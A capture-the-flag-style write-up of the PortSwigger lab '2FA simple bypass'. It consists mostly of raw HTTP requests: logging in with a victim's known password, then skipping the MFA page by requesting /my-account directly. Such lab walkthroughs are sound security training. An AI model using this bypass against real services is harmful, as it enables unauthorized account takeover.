Skip to content

Port Swigger 2FA simple bypass

2FA simple bypass

Solution

Open the website: https://0a64005f03fac6b6822001ad00c60035.web-security-academy.net/login

GET /login HTTP/2
Host: 0a64005f03fac6b6822001ad00c60035.web-security-academy.net
Cookie: session=7BmWBYh5bph0DhFtA1OvppHiZaJ3lZVr
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a64005f03fac6b6822001ad00c60035.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Login as user: wiener

L: wiener
P: peter
---
POST /login HTTP/2
Host: 0a64005f03fac6b6822001ad00c60035.web-security-academy.net
Cookie: session=7BmWBYh5bph0DhFtA1OvppHiZaJ3lZVr
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: https://0a64005f03fac6b6822001ad00c60035.web-security-academy.net
Referer: https://0a64005f03fac6b6822001ad00c60035.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

username=wiener&password=peter
---
GET /login2 HTTP/2
Host: 0a64005f03fac6b6822001ad00c60035.web-security-academy.net
Cookie: session=ZVvEDv4lvKPNAyWTecMdiTM2lBkT9DeY
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a64005f03fac6b6822001ad00c60035.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Read MFA code from mail

MFA code: 0023
---
GET /email HTTP/1.1
Host: exploit-0a8300af034dc675823200b701f0001f.exploit-server.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a64005f03fac6b6822001ad00c60035.web-security-academy.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive

Put MFA code to website

POST /login2 HTTP/2
Host: 0a64005f03fac6b6822001ad00c60035.web-security-academy.net
Cookie: session=ZVvEDv4lvKPNAyWTecMdiTM2lBkT9DeY
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Origin: https://0a64005f03fac6b6822001ad00c60035.web-security-academy.net
Referer: https://0a64005f03fac6b6822001ad00c60035.web-security-academy.net/login2
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

mfa-code=0023
---
GET /my-account?id=wiener HTTP/2
Host: 0a64005f03fac6b6822001ad00c60035.web-security-academy.net
Cookie: session=TVL7vzFENpRPE9FadCRZ1LkAN9OsB7fu
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a64005f03fac6b6822001ad00c60035.web-security-academy.net/login2
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Copy part of URL: /my-account?id=wiener

/my-account?id=wiener 

Logi as user: carlos

POST /login HTTP/2
Host: 0a64005f03fac6b6822001ad00c60035.web-security-academy.net
Cookie: session=6MAJ9X73QrRYGy87pkb2eltkT8rJrd2k
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Origin: https://0a64005f03fac6b6822001ad00c60035.web-security-academy.net
Referer: https://0a64005f03fac6b6822001ad00c60035.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

username=carlos&password=montoya

Paste and edit part of URL: /my-account?id=carlos

Change from: /my-account?id=wiener
to /my-account?id=carlos
---
GET /my-account?id=carlos HTTP/2
Host: 0a64005f03fac6b6822001ad00c60035.web-security-academy.net
Cookie: session=y44l0x0rZFcPTjs1JoL4mkNd4c8NZIvX
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Solved